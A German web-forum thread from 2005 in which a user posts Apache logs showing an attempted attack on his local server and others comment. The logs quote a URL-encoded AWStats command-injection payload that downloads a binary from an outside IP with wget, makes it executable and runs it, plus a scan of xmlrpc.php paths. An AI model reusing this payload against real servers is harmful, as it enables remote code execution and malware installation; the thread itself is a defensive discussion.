Komische Zugriffe auf Lokalserver ...

CIX88 · 02.12.2005, 12:37

Da rasselt doch eben meine Festplatte von ganz alleine los, und dann sehe ich im Apache-Log doch das:

Zitat:

82.234.215.180 - - [02/Dec/2005:12:11:36 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp% 3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2 bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115 ;echo%20YYY;echo| HTTP/1.1" 404 1022
82.234.215.180 - - [02/Dec/2005:12:11:37 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp% 3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2 bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115 ;echo%20YYY;echo| HTTP/1.1" 404 1022
82.234.215.180 - - [02/Dec/2005:12:11:38 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp% 3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2 bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115 ;echo%20YYY;echo| HTTP/1.1" 404 1030
82.234.215.180 - - [02/Dec/2005:12:11:39 +0100] "POST /xmlrpc.php HTTP/1.1" 404 1014
82.234.215.180 - - [02/Dec/2005:12:11:41 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 1019
82.234.215.180 - - [02/Dec/2005:12:11:42 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 1026
82.234.215.180 - - [02/Dec/2005:12:11:43 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 1027
82.234.215.180 - - [02/Dec/2005:12:11:44 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 1021
82.234.215.180 - - [02/Dec/2005:12:11:45 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 1027
82.234.215.180 - - [02/Dec/2005:12:11:46 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 1024
82.234.215.180 - - [02/Dec/2005:12:11:47 +0100] "POST /xmlrpc.php HTTP/1.1" 404 1014
82.234.215.180 - - [02/Dec/2005:12:11:49 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 1021
82.234.215.180 - - [02/Dec/2005:12:11:50 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 1021

[Fri Dec 02 12:11:36 2005] [error] [client 82.234.215.180] File does not exist: xxx/awstats
[Fri Dec 02 12:11:37 2005] [error] [client 82.234.215.180] script not found or unable to stat: xxx/cgi-bin/awstats.pl
[Fri Dec 02 12:11:38 2005] [error] [client 82.234.215.180] script not found or unable to stat: xxx/cgi-bin/awstats
[Fri Dec 02 12:11:39 2005] [error] [client 82.234.215.180] script 'xxx/xmlrpc.php' not found or unable to stat
[Fri Dec 02 12:11:42 2005] [error] [client 82.234.215.180] File does not exist: xxx/blog
[Fri Dec 02 12:11:43 2005] [error] [client 82.234.215.180] File does not exist: xxx/blog
[Fri Dec 02 12:11:44 2005] [error] [client 82.234.215.180] File does not exist: xxx/blogs
[Fri Dec 02 12:11:45 2005] [error] [client 82.234.215.180] File does not exist: xxx/drupal
[Fri Dec 02 12:11:46 2005] [error] [client 82.234.215.180] File does not exist: xxx/phpgroupware
[Fri Dec 02 12:11:47 2005] [error] [client 82.234.215.180] File does not exist: xxx/wordpress
[Fri Dec 02 12:11:47 2005] [error] [client 82.234.215.180] script 'xxx/xmlrpc.php' not found or unable to stat
[Fri Dec 02 12:11:50 2005] [error] [client 82.234.215.180] File does not exist: xxx/xmlrpc
[Fri Dec 02 12:11:51 2005] [error] [client 82.234.215.180] File does not exist: xxx/xmlsrv

Hmmm, was soll ich jetzt davon halten ?
Der Versuch ging allerdings voll in die Hose

J33d3X · 02.12.2005, 13:16

"
3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2
"

wget und chmod .... huuuu
HeHe ... @CIX88 ich würd da nochmal nachschauen

CIX88 · 02.12.2005, 13:23

hmmmm, nö ist nichts passiert ...
Wurde alles abgeblockt

J33d3X · 02.12.2005, 13:42

mir fällt immer nur eins dazu ein ...
für "Profis" sind wir viel zu uninteressant...
und bei 90% der Scriptkiddys da kommt ausser einem müden lächeln eh nix

mfg auf ein schönes WE

CIX88 · 02.12.2005, 13:51

Möglich, konnte dies aber nicht so recht zuordnen.
Also für was das gut sein sollte etc.

02.12.2005, 13:16	Nach oben #2
J33d3X Goldman.de Registriert seit: 09.10.2005 Ort: Frankfurt am Main Beiträge: 190	" 3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2 " wget und chmod .... huuuu HeHe ... @CIX88 ich würd da nochmal nachschauen __________________ Code: eval('echo "'.gzinflate(base64_decode('8zI2TjGOAAA=')).'";');

02.12.2005, 13:42	Nach oben #4
J33d3X Goldman.de Registriert seit: 09.10.2005 Ort: Frankfurt am Main Beiträge: 190	mir fällt immer nur eins dazu ein ... für "Profis" sind wir viel zu uninteressant... und bei 90% der Scriptkiddys da kommt ausser einem müden lächeln eh nix mfg auf ein schönes WE __________________ Code: eval('echo "'.gzinflate(base64_decode('8zI2TjGOAAA=')).'";');

Themen-Optionen	Thema durchsuchen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen	Thema durchsuchen: Erweiterte Suche

Ähnliche Themen
Thema	Autor	Forum	Antworten	Letzter Beitrag
[PHP] FTP-Funktionen in PHP nutzen	MrNiceGuy	Tutorials	0	24.05.2006 14:18
Auf welcher Verbindungsgeraden (der Eckpunkte) eines Polygons liegt ein Punkt	Ben	Allgemeine Java-Programmierung	3	17.03.2006 09:22
Textfelder auf verschiedenen Tabs per Observer synchronisieren	Sayang	Desktop-Applikationen und Grafik	2	05.12.2005 19:14
[PHP] Aktuell gespielten Titel von XMMS auf einer Webseite in einer Grafik anzeigen	Corvin	Tutorials	0	28.11.2005 16:26
Login auf mehreren Domains	Homepagespeicher	PHP-Programmierung	17	21.08.2005 16:54

02.12.2005, 13:23	Nach oben #3
CIX88 Erfahrener Benutzer Registriert seit: 18.03.2005 Beiträge: 597	hmmmm, nö ist nichts passiert ... Wurde alles abgeblockt

02.12.2005, 13:51	Nach oben #5
CIX88 Erfahrener Benutzer Registriert seit: 18.03.2005 Beiträge: 597	Möglich, konnte dies aber nicht so recht zuordnen. Also für was das gut sein sollte etc.

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)